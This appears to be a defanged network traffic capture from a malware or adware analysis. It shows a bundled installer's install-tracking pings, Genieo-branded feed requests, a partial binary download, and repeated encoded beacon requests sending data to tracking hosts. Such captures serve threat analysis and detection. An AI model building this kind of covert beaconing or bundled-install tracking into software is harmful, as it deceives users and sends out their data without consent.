Content-Type: application/octet-stream

Content-Length: 419580

Last-Modified: Tue, 05 May 2015 03:45:32 GMT

Connection: keep-alive

Expires: Mon, 18 May 2015 23:02:22 GMT

Cache-Control: max-age=259200

Content-Range: bytes 251748-671327/671328
F......u,....... ;.t........@;[email protected].(i..Y.F.....W.......F.
.>.H....N. . ..N...~.WP.u...v......E..N.. .F..=....M....t....t.....
..............I......H..@. t.Sj.j.Q.Jz..#.......t-.F..].f....j..E.P.u.
...].f.]...u......E.9}.t..N. .........%...._[^....U..........f9E......
.SV.u..M.......u..N.3.;.u..E..H.f...w.f.. ....K.....j.f9E.s..u......Y.
...E.Yt,........... .U.Rj..U.RPQ............E.t...E.8].t..M..ap.^[..3.
PPj.Pj.h...@h..G....pG....H.....H....t....t.P...pG....U.....SV.u..M...
....]......;.sT.M........~..E.Pj.S.z....M...............X.....t.......
..........}..t..E..`p.........E........~1.]..}...E.P.E.%....P.....YY..
t..E.j..E..]..E..Y...-.....*...3..]..E..A.E.j..p..U.j.RQ.M.QV.p..E.P.h
.....$....o........E.t...M.......}..t..M..ap.^[....U...=..H..u..E..H..
..w... ].j..u......YY]...U....<S.u..M.......M..E.3.;.t...;.u%.x....
..........8].t..E..`p.3.3..O...9].t..}..|..}.$....V.u.W.]..]..M..x....
....~..E.P..E.j.P......u........E..........A...;.t....E.G...}.-.}.u..M
.....}. u...G.}..E.j.Y9].u%.}.0t..E......7..<xt.<Xt..E......$.M.
9M.u..}.0u...<xt.<Xu..G.....E..}..E..R..Wj.j..U.......]........M
..E..U..M.......C.....t......0..%....tP.A.<....w... .p.;u.s;.M..M..
;M.rQw..E.;E.rG.E.9E.u.;M.u.3.;E.r3w.;u.v,.M...}..u;.E..M...uA3.9E.t..
M..M..E..E......Q.u..u.W.....3......E..U..E....E..E..E...............u
'..uT...t.9].w.r..}..w...u>9u.r9w..}..v1.o....E...."...t..M...M....
.E..t..e...]....M...u..E._^..t..M....E..t..E..M.........E..M..}..t..E.
.`p..E..U.[....U..3.P.u..u..u.9...H.u.h..H...P.=......]...........<<< skipped >>>

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTEemCaVgs8Tuh2B9fGVE0pKKNyzgQUTF+nNhcF4oZhIkk5jLmo40rgOBoCEC6utoKGY/7ZdVX4/iTzOxo= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.verisign.com


HTTP/1.1 200 OK

Server: nginx/1.4.7

Content-Type: application/ocsp-response

Content-Length: 1552

content-transfer-encoding: binary

Cache-Control: max-age=585019, public, no-transform, must-revalidate

Last-Modified: Fri, 15 May 2015 17:35:11 GMT

Expires: Fri, 22 May 2015 17:35:11 GMT

Date: Fri, 15 May 2015 23:06:27 GMT

Connection: keep-alive
0..........0..... [email protected]
5173511Z0s0q0I0... .........z`.V.<N.v...TM)(.r...L_.6....a"I9....J.
8........c..uU..$.;.....20150515173511Z....20150522173511Z0...*.H.....
.........L...NI}..* >........K.J..RH..\..f...jN..,.%.....ye'..#...Q
?..EUs..`q..]G9....(...~.m..5.....2G."{.d_L...a....,.-8%6z..u..E.....z
^.%b.=.....yV.x7...|e.>.<.HJ-.D._yHM.j!..w..2...-..o...*U.plj[..
.hd......>V. ....K.'|.,.6....C.W..4.G.3.:?..w..~.|...b..-..f.0....5
0..10..-0..........y.P}~.EY....T]. 0...*.H........0..1.0...U....US1.0.
..U....VeriSign, Inc.1<0:..U...3Class 3 Public Primary Certificatio
n Authority - G21:08..U...1(c) 1998 VeriSign, Inc. - For authorized us
e only1.0...U....VeriSign Trust Network0...141202000000Z..151216235959
Z0..1.0...U....US1.0...U....Symantec Corporation1.0...U....Symantec Tr
ust Network1?0=..U...6Symantec Class 3 PCA - G2 OCSP Responder Certifi
cate 30.."0...*.H.............0..........6..]......w';.r........I..c..
4.... .........TyW......hd_.....!C.k......SE<?o.H.. .me.c..9N.&....
e.^-..a.....i\:..*."..u...|....".Nf3.~.L...QW...p.....-]UV8U...J&.<
./.G.....I...4.T....#I*.i.E0\..~q$.I.......X?G....f.t......v.l.U.Ld.I.
..B.....=...Sf...H.s.........0..0...U....0.0l..U. .e0c0a..`.H...E....0
R0&.. .........hXXp://VVV.symauth.com/cps0(.. .......0...hXXp://VVV.sy
mauth.com/rpa0...U.%..0... .......0...U........0... .....0......0!..U.
...0...0.1.0...U....TGV-B-2740...*.H............1.`...i.....H.C.i.9~.i
..Z.r.*$..(./.ag9.....J.Q.~.`.$?b..C....<.h.........d&....3.kV.<<< skipped >>>

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBRODEXefhs/UZFum2o8YfzOFwceMwQUkz5j3yJ0BOBkhDHd2yOfDq+2TZMCEA89qsgV9niZmSI6gIO0S/U= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.verisign.com


HTTP/1.1 200 OK

Server: nginx/1.4.7

Content-Type: application/ocsp-response

Content-Length: 1725

content-transfer-encoding: binary

Cache-Control: max-age=572307, public, no-transform, must-revalidate

Last-Modified: Fri, 15 May 2015 14:00:41 GMT

Expires: Fri, 22 May 2015 14:00:41 GMT

Date: Fri, 15 May 2015 23:06:27 GMT

Connection: keep-alive
0..........0..... .....0......0...0......%bn.$..5.......?'4....2015051
5140041Z0s0q0I0... ........N.E.~.?Q.n.j<a.....3...>c."t..d.1..#.
...M....=....x..":...K.....20150515140041Z....20150522140041Z0...*.H..
.............E....:...$8...Em........rv...B.yss.s...s;/...W..J..?*|...
"..5,H.Oq...3..Dk'(\M...vFh...7........TfZ.q>.P...s.#.iR.g.r...G.I.
...KO.8 ._$..<..lO1:t}......[...l...I......"....}.....vn,m......!.o
...T..-.yE.....p.":....yq$.t.~..d.....T.Z=g..4>..,...0.....[]......
0...0...0..........7.R.~|..r."....#0...*.H........0..1.0...U....US1.0.
..U....VeriSign, Inc.1.0...U....VeriSign Trust Network1;09..U...2Terms
 of use at hXXps://VVV.verisign.com/rpa (c)091.0,..U...%VeriSign Class
 3 Code Signing 2009 CA0...150401000000Z..150630235959Z0..1.0...U....U
S1.0...U....VeriSign, Inc.1.0...U....VeriSign Trust Network1:08..U...1
VeriSign Class 3 Code Signing 2009 OCSP Responder0.."0...*.H..........
...0..........z..|..>.....5.Z ...2.C MWIH.5......M.\.... ...eW..`.B
=..`:..R. ...Z.k.Y.....p@.(3.c....a.;..[E....J:'...`...B....M..&......
{. (........%......^[v[....m....*.T.o&4..3.....3.........G...e)...'?.K
..2s..8=?..z.:..T..-.8R..8wv7*U.K..c...<s...]{.........6.?_........
...0...0...U....0.0....U. ...0..0....`.H...E....0..0(.. .........https
://VVV.verisign.com/CPS0b.. .......0V0...VeriSign, Inc.0.....=VeriSign
's CPS incorp. by reference liab. ltd. (c)97 VeriSign0...U.%..0... ...
....0...U........0... .....0......0"..U....0...0.1.0...U....TGV-B-3492
0...*.H.............,..-......q3a........z....t;B.z.h...]...#}.6.,<<< skipped >>>

GET /services/xml/rss/nyt/GlobalHome.xml HTTP/1.1

Accept-Encoding: gzip,deflate

Host: VVV.nytimes.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)

Cookie: RMID=007f01013f4655567b99000b

Cookie2: $Version=1


HTTP/1.1 301 Moved Permanently

Date: Fri, 15 May 2015 23:04:58 GMT

Server: Apache

X-API-Version: 4

Location: hXXp://rss.nytimes.com/services/xml/rss/nyt/InternationalHome.xml

Content-Length: 273

Connection: close

Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html>&
lt;head>.<title>301 Moved Permanently</title>.</head
><body>.<h1>Moved Permanently</h1>.<p>The d
ocument has moved <a href="hXXp://rss.nytimes.com/services/xml/rss/
nyt/InternationalHome.xml">here</a>.</p>.</body>&
lt;/html>...

GET /robots.txt HTTP/1.1

Accept-Encoding: gzip,deflate

Host: rss.cnn.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Content-Type: text/plain

Content-Encoding: gzip

Date: Fri, 15 May 2015 23:05:01 GMT

Expires: Fri, 15 May 2015 23:05:01 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-XSS-Protection: 1; mode=block

Content-Length: 49

Server: GSE

Alternate-Protocol: 80:quic,p=1,80:quic,p=1

...........-N-.MLO. .R..r.,N.../.R..K...."..]........

GET /rss/cnn_world.rss HTTP/1.1

Accept-Encoding: gzip,deflate

Host: rss.cnn.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Content-Type: text/xml; charset=UTF-8

ETag: /D0n9Ohe4HLc4ADjJFJ6/kvtzWU

Last-Modified: Fri, 15 May 2015 23:04:34 GMT

Content-Encoding: gzip

Transfer-Encoding: chunked

Date: Fri, 15 May 2015 23:05:02 GMT

Expires: Fri, 15 May 2015 23:05:02 GMT

Cache-Control: private, max-age=0

X-Content-Type-Options: nosniff

X-XSS-Protection: 1; mode=block

Server: GSE

Alternate-Protocol: 80:quic,p=1,80:quic,p=1
48DE.............}[s.....T......L.a...9..]..w;..'yIA$$.".. %.....MJ6..
..&L.U.J%.,.{...B........f4....z.oj......p..w.7.x............d.S.Q..d.
...K.C.. .w(..#.z'......b:......n.....a.S...w....4.#D.x^.D............
....aB.d...F......{9.r.AI.x...q....wn.[.wL.;J...E.!....C7y<.z~.....
..,..;.3.#aH}.2a.O..wq...Fw<........}.N..46.....]~:..b.K.6.$...0...
..|.......S..D:.d..>..P......8`a.P...@$t...<.......[.O.*........
..hN..Q.!.....aa [email protected]..|...t....'.....L..i.o.....a.x....K........C{d
.St.^^.DB.....tvvv%-<...#JG......l.._='.|...-.6{.`.......Z$..uMN~.]
..,.y.k..........Iv.e....6...&p3m.|...M.b.n......#....M......V..|.....
._[./[email protected]..../.....S=7.O..i.....w(..|:P..n.. Q.3'..>..[....
..y._.W....._..h...4f.z...5q.KG..$.J.....t.)...'...-x.=......(&LP..>
;. .."......Q.|xn....c..!.%...........$e.*. *......wc....w.7|..$..o.\.
...d.I...&.7._[0.........3.........17.#...~.d...#B..i.x.E..O...!..A..8
S.es..:.2.9...#.MNL>........0u..i.....2.......'.....r..c...v#.Y~.x.
<.H.....~..\6C.O...,./y.b...L..........^.........3e...{.ur........s
....;..0.|. .;Oc.y..|...q.U...x...jO.....k._!.H...........$..ZG....p..
v....HX%#.#.q.?.?...7...*..:......p~.c....U.H%..#bK>B....G.U|.J....
...P&..../_y............6..(.Lm......0..d.....D..',..."rI.%..4..~.....
[email protected])#i.n.G...'....2..Mi..w..Y)......N^......jrV./......kk%$
.)(......4.R..P)..P\NHB...h.m~..0..<..%...d......fc.\S..L|;.pq|....
i.!/....d...../.OL:v%5j............'.I.#..o.fz.......I..I.........vO..
!Q*O..i[..|R*O4.........<Q)O^.....;.. .....(#k6.7..%...ft...7..<<< skipped >>>

GET /rss/cnn_world.rss HTTP/1.1

If-Modified-Since: Fri, 15 May 2015 23:04:34 UTC

If-None-Match: /D0n9Ohe4HLc4ADjJFJ6/kvtzWU

Accept-Encoding: gzip,deflate

Host: rss.cnn.com

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 304 Not Modified

Date: Fri, 15 May 2015 23:05:02 GMT

Server: GSE

Alternate-Protocol: 80:quic,p=1,80:quic,p=1

GET /app/ping.ashx?e=lOCrbsNL2zXY n Drgf83FPJMnQ/271vEVgCodG2LeMSZTerw9Y85dVUaX7QH4byNJ0yl9harBTd/8qR7NRZyEWXsxYLivI5 nOpVZucHTNgKkdlz1lRoYK03JXbbVmAY0ZRB54QLU9s0DpOFQBDKtJMHu88K1rwaE3O18WF9F2Z5I7bigETxl034i81qsQ2DA60VjW/2vrlr3NREUmPy17dj4syS4HAgNLtxmH87yb9z850gZbOoER7QD6yMSTpBI/0TPa8MV/vGXsyNILdq6t9GbH/wnaf3AtLPqBYAg4fnTdJhi/F jqL/OPRls1am988pbBE198Bbak1i16fYytqnU4k0fribeIhZIOGE9621TzruYcSjozwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbcvKYfodYqVcESu6mOfiHCjIrCurCqL9wk7r2qSPvNkJqvZLmDwLoNo 3d1RAK/MPromcJGcOHNXAHl6w3H159Q== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 15 May 2015 23:02:41 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=obiBp3WOda9tb/LgACKPGjnTXm9lqpoPcBL23M4DDdT7RH4w/5EvdQk4teRL0v HZuS0/O3oV2pBhrP9twY3lJpmSz7MK9wqwpAgmFZ8TcSCCUIfM57ZHmCArG4HtKvdX1gPBPGd4Gf2NRySioDRRu BYVCPaRxXmR20K7N 67BZCfXvnwd9Ikg LruF0zoHZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmAmMGUjfC0lQ1Rl8rQFtGE76RQXwv9RhV9bBcdAIuZJ7qY3YmyiK/QLMprsE/ NOdRCn qX4FpTdffopz0y2Q7Y HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 15 May 2015 23:02:42 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=Bla1gpvbWwCt 9hOzZQLUFUKuBb Jos32YTeaOaZJPFysSIQM/WMqjEsdSRpTTrrTnlytR4CrxDYz6TqdGojBJNNUvuLmMe4Ux F4bfPOR0nYBfPcNQB96JUqayHJ5ShmDwm9U8stHwyKW2q8nI5uATxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3cXZ8qiEfUAdCsmHfGSMYXkzto5FeRYZjTILRMK0uPbozNdYoFk7JaOSub7kXmhLMy1Et s6xdKMwfJKZ4NCKSCQ== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 15 May 2015 23:02:42 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=oE Olq3N8DI5015vZaqaD3AS9tzOAw3U 0R MP RL3UJOLXkS9L/h2bktPzt6FdqQYaz/bcGN5SaZks zCvcKsKQIJhWfE3EgglCHzOe2R6fD5PY7X0q xis2OOc4tTp1sgfHgwJGopMjaP02 pNDljtKNJXIFNsZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmAmMGUjfC0lQ1Rl8rQFtGE76RQXwv9RhV9bBcdAIuZJ7qY3YmyiK/QLMprsE/ NOdRCn qX4FpTdffopz0y2Q7Y HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 15 May 2015 23:02:42 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=1ZEnpGuz/IQLjT49fHfOTOVXkkreqF3Gt8f6YpiR28IQ9XpMu3JNOBkCEmVIqL1mNLauzg57SDR7aZQiBWc6vgrcPmxD60MqLImbABPmQj7Xmz2ZWq7EeY4CjMIbuSmdGKzY45zi1OmSWf0W4lRoPDP1yr lfqu3a5OEmrbJtlEE8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93F2fKohH1AHQrJh3xkjGF5M7aORXkWGY0yC0TCtLj26MzXWKBZOyWjkrm 5F5oSzMnziCp3eHePcHySmeDQikgk= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Fri, 15 May 2015 23:02:42 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/8.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Fri, 15 May 20
15 23:02:42 GMT..Content-Length: 0..

GET /sponsored/swiftrecord/eula-swiftrecord.html HTTP/1.1

Accept-Encoding: gzip,deflate

Host: d3mdjn4wfmheda.cloudfront.net

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 200 OK

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Server: nginx

Date: Fri, 15 May 2015 23:01:31 GMT

Last-Modified: Wed, 11 Mar 2015 08:59:19 GMT

Expires: Fri, 15 May 2015 23:11:31 GMT

Cache-Control: max-age=600

Content-Encoding: gzip

Age: 199

Vary: Accept-Encoding

X-Cache: Hit from cloudfront

Via: 1.1 d84cd5311ccca1f37f90f1eed9f01585.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 9qej0iesSDxoL_opt85Y894K0xazsa1QqvR5CW4FDINqZb5dyF7XCQ==
36d5.............}.r....s. r8.c*....n.r..!..`....K..8@ [email protected]@.gb".Cf~
..d.Z{.K. %_:b......'.e_......i.d...]..f.....y...;<>............
..y...U1X...d5.....q.r..._..o........;..w....g............j...........
...a^........r8...7.........u....zu{..|.....qZ...E...U.yu<.k~..M5~.
...7.jZ-.......w.h6\.M.o.W....dU.....|S...l8....|uXO..>}.z.9}v;.M..
o...rX...-.._...o.JN.V~......b..N1...G.~U..i.........U. {/.^hh.Z3...I.
....].)...c.|c?..X{..<....[SL... ...../...?./O..~.W.....v.z.k./...&
lt;.-......E..?h..w........=.|h.......=R.....{~.....{......t/O;.N...P|
x.9y..N..O.....{...Z.:...89o....>..........>>.\`..3|......6..
k.;.....o.;............~....=..\...4U..V..d^..'u....k.mq>....,Zw...
..U.......^..eY...X.R..E5/@U....0.]..rT-.|.,.N..b8..;(.....Z.{........
....0.l......Xc.uQ.......j........c.....t2...._....Jj......XV.....z...
.v..........G.....G......S...u7...W....ZN>.G..U..<..&....;...C..
.-..rY.G%..d..i.9....d:..s.W.Q.6xY..]j?..K.......O.^/.>..p...&.d~W.
c.......p9.?(n..y.<.5|^a..?..Ln.p.8...wh;z.....w..l..jU....M......G
.3. ..n.|........x(o V....5...O.J........z.....}.x9H~<......~.W..r|
[email protected]..@.$.H..zP/#..9R....B..X.
4t...C}P,....s....H,d..tU.6n..@qgY\.E.....#.......g.8.0.bY..Y...b..1.e
.X...V.=.~.,..(L....AW..QY.<..W.9.....#.4&...| ........L.d.m._8....
.D...EU$..r.Zc..z..f....f.6..(.IRX.'L.[].k..i..WH...o}h......8}mo9...u
.b.P...&.i..Tkl.S.18...B.- .1e.....6.v=. X0>..~.,]Q....F.U...#q...%
......4....U55.r.3R................i1 ..!..u..^.:...II..U..N.<N<<< skipped >>>

GET /robots.txt HTTP/1.1

Accept-Encoding: gzip,deflate

Host: d3mdjn4wfmheda.cloudfront.net

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 404 Not Found

Content-Type: text/html

Content-Length: 162

Connection: keep-alive

Server: nginx

Date: Fri, 15 May 2015 23:04:51 GMT

X-Cache: Error from cloudfront

Via: 1.1 d84cd5311ccca1f37f90f1eed9f01585.cloudfront.net (CloudFront)

X-Amz-Cf-Id: wjE7JQ-rhcY6BotOQLYadadcfrRXG6hNlVsplxdndhRxuSTRIf3bqw==
<html>..<head><title>404 Not Found</title><
/head>..<body bgcolor="white">..<center><h1>404 N
ot Found</h1></center>..<hr><center>nginx</
center>..</body>..</html>......


GET / HTTP/1.1

Accept-Encoding: gzip,deflate

Host: d3mdjn4wfmheda.cloudfront.net

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (compatible; Genieo/1.0 hXXp://VVV.genieo.com/webfilter.html)


HTTP/1.1 403 Forbidden

Content-Type: text/html

Content-Length: 162

Connection: keep-alive

Server: nginx

Date: Fri, 15 May 2015 23:04:52 GMT

X-Cache: Error from cloudfront

Via: 1.1 d84cd5311ccca1f37f90f1eed9f01585.cloudfront.net (CloudFront)

X-Amz-Cf-Id: Ijt2_IxWbkX8Rdxye4e84SzKW74mQ54Ng-Qa-pxRN7feJ3l4i1EFJg==
<html>..<head><title>403 Forbidden</title><
/head>..<body bgcolor="white">..<center><h1>403 F
orbidden</h1></center>..<hr><center>nginx</
center>..</body>..</html>..HTTP/1.1 403 Forbidden..Cont
ent-Type: text/html..Content-Length: 162..Connection: keep-alive..Serv
er: nginx..Date: Fri, 15 May 2015 23:04:52 GMT..X-Cache: Error from cl
oudfront..Via: 1.1 d84cd5311ccca1f37f90f1eed9f01585.cloudfront.net (Cl
oudFront)..X-Amz-Cf-Id: Ijt2_IxWbkX8Rdxye4e84SzKW74mQ54Ng-Qa-pxRN7feJ3
l4i1EFJg==..<html>..<head><title>403 Forbidden</t
itle></head>..<body bgcolor="white">..<center><
;h1>403 Forbidden</h1></center>..<hr><center&g
t;nginx</center>..</body>..</html>....

GET /pinger?event_type=install_start&installer_source=tokyo-bidl&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=226e0daa89188549baf0d586a6bc816b&uniqid=1e49cbf272b0b1cc3bcc98a4a55de57c&affiliate_id=network_smb_indostreamix&software_id=vlcmediaplayerelzy&sponsored_id=swiftrecord&tokyo_csrf2_key=82648e528732ef52d9478630a658126f&tokyo_csrf2_timestamp=1431730939&slot_number=3&index_in_screen=1&index_in_session=3&0.7681906998080401 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/downloader/network_smb_indostreamix/vlcmediaplayerelzy/e1b8a78c0881034aa57a76140e007cf2?muid=AD2252CE007468623BD139B0ADEC3423&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=e1b8a78c0881034aa57a76140e007cf2&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1626043335.1431730894.1431730894.1431730894.1; __utmb=1.1.10.1431730894; __utmz=1.1431730894.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Fri, 15 May 2015 23:03:11 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Fri, 15 May 2015 23:03:11 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0......

GET /pinger?event_type=install_fail&installer_source=tokyo-bidl&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=226e0daa89188549baf0d586a6bc816b&uniqid=1e49cbf272b0b1cc3bcc98a4a55de57c&affiliate_id=network_smb_indostreamix&software_id=vlcmediaplayerelzy&sponsored_id=swiftrecord&tokyo_csrf2_key=82648e528732ef52d9478630a658126f&tokyo_csrf2_timestamp=1431730939&slot_number=3&index_in_screen=1&index_in_session=3&0.703272314033617 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/downloader/network_smb_indostreamix/vlcmediaplayerelzy/e1b8a78c0881034aa57a76140e007cf2?muid=AD2252CE007468623BD139B0ADEC3423&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=e1b8a78c0881034aa57a76140e007cf2&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1626043335.1431730894.1431730894.1431730894.1; __utmb=1.1.10.1431730894; __utmz=1.1431730894.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Fri, 15 May 2015 23:03:16 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Fri, 15 May 2015 23:03:16 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0......

GET /pinger?event_type=install_start&installer_source=tokyo-bidl&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=226e0daa89188549baf0d586a6bc816b&uniqid=1e49cbf272b0b1cc3bcc98a4a55de57c&affiliate_id=network_smb_indostreamix&software_id=vlcmediaplayerelzy&sponsored_id=geneio_non_search_for_pc&tokyo_csrf2_key=82648e528732ef52d9478630a658126f&tokyo_csrf2_timestamp=1431730939&slot_number=4&index_in_screen=1&index_in_session=4&0.13830130870521184 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/downloader/network_smb_indostreamix/vlcmediaplayerelzy/e1b8a78c0881034aa57a76140e007cf2?muid=AD2252CE007468623BD139B0ADEC3423&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=e1b8a78c0881034aa57a76140e007cf2&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1626043335.1431730894.1431730894.1431730894.1; __utmb=1.1.10.1431730894; __utmz=1.1431730894.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Fri, 15 May 2015 23:03:17 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Fri, 15 May 2015 23:03:17 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0......

GET /pinger?event_type=install_complete&installer_source=tokyo-bidl&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=226e0daa89188549baf0d586a6bc816b&uniqid=1e49cbf272b0b1cc3bcc98a4a55de57c&affiliate_id=network_smb_indostreamix&software_id=vlcmediaplayerelzy&sponsored_id=geneio_non_search_for_pc&tokyo_csrf2_key=82648e528732ef52d9478630a658126f&tokyo_csrf2_timestamp=1431730939&slot_number=4&index_in_screen=1&index_in_session=4&0.05251509077667993 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/downloader/network_smb_indostreamix/vlcmediaplayerelzy/e1b8a78c0881034aa57a76140e007cf2?muid=AD2252CE007468623BD139B0ADEC3423&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=e1b8a78c0881034aa57a76140e007cf2&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1626043335.1431730894.1431730894.1431730894.1; __utmb=1.1.10.1431730894; __utmz=1.1431730894.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Fri, 15 May 2015 23:03:18 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Fri, 15 May 2015 23:03:18 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /14396.ashx?e=uWabAt9SLcz1rEcPDUvKZj0Z7sea5zO UB/4jIVeTtL8ln8Iap23//2TEkHeJNDUga zuhV9q9Hkf4JsJqHXLCR1q1S/V1rzn14WGxPVpt5CrKRl6uWYlY4G r 3F6T7iJiWa2JIZk6M8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj23N8xrbOAlOf HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Fri, 15 May 2015 23:02:49 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

HTTP/1.1 200 OK..Date: Fri, 15 May 2015 23:02:49 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS..

